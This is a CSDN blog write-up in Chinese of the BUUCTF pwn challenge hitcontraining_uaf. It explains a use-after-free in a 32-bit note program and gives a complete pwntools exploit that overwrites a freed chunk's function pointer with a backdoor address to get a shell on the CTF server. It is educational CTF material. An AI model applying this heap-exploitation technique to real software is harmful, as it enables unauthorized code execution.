[BUUCTF]PWN——hitcontraining_uaf

本文详细解析了BUUCTF竞赛中hitcontraining_uaf题目,通过创建堆块、利用未释放指针的UAF漏洞,最终成功调用后门函数获取shell。演示了如何利用常见32位程序中的UAF漏洞,包括创建堆块、释放及重新分配以注入shellcode的过程。
摘要由CSDN通过智能技术生成

[BUUCTF]——hitcontraining_uaf

附件

步骤:
例行检查,32位,开启了nx保护
在这里插入图片描述
试运行一下程序,非常常见的创建堆块的菜单
在这里插入图片描述
32位ida载入分析,shift+f12查看程序里的字符串,发现了/bin/sh,ctrl+x,跟进找到了后面函数,shell_addr=0x8048945
在这里插入图片描述
堆的main函数很简单,逻辑很简单,也没什么好说的,直接看菜单的各个选项

add,可以发现创建了两个chunk,第一个chunk是默认的,存放puts函数,我们可以控制第二个chunk
在这里插入图片描述

add(16,'aaa')
gdb.attach(r)

执行一次add,跟我们ida分析的一样,创建了两个堆块,而且我们修改的是第二个堆块的内容
在这里插入图片描述

delete,它只释放掉了堆块里的内容,但是没有将指针置0,存在uaf漏洞
在这里插入图片描述
printf
在这里插入图片描述
用printf打印一个堆块看一下内容,可以看到打印出了add创建的第二个chunk里的值
在这里插入图片描述

利用过程

add(48,'aaaa')
add(48,'bbbb')
gdb.attach(r)

堆的调试注意一下bk链接的地址
我们首先来调用两次add来创建堆,(实际上创建了4个堆),看一下add的两块堆的情况
在这里插入图片描述

释放掉两个来看一下

delete(0)
delete(1)

在这里插入图片描述
我们再申请一个8字节的chunk,写入shell_addr,看一下堆块的情况

add(8,p32(shell_addr)) 

在这里插入图片描述
可以看到我们新建的chunk由0x8516048和0x8516010构成,我们现在进行printf的话就会跳转到后门函数,就获取了shell

EXP

from pwn import*

r=remote('node3.buuoj.cn',28237)
#r=process('./hacknote')

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值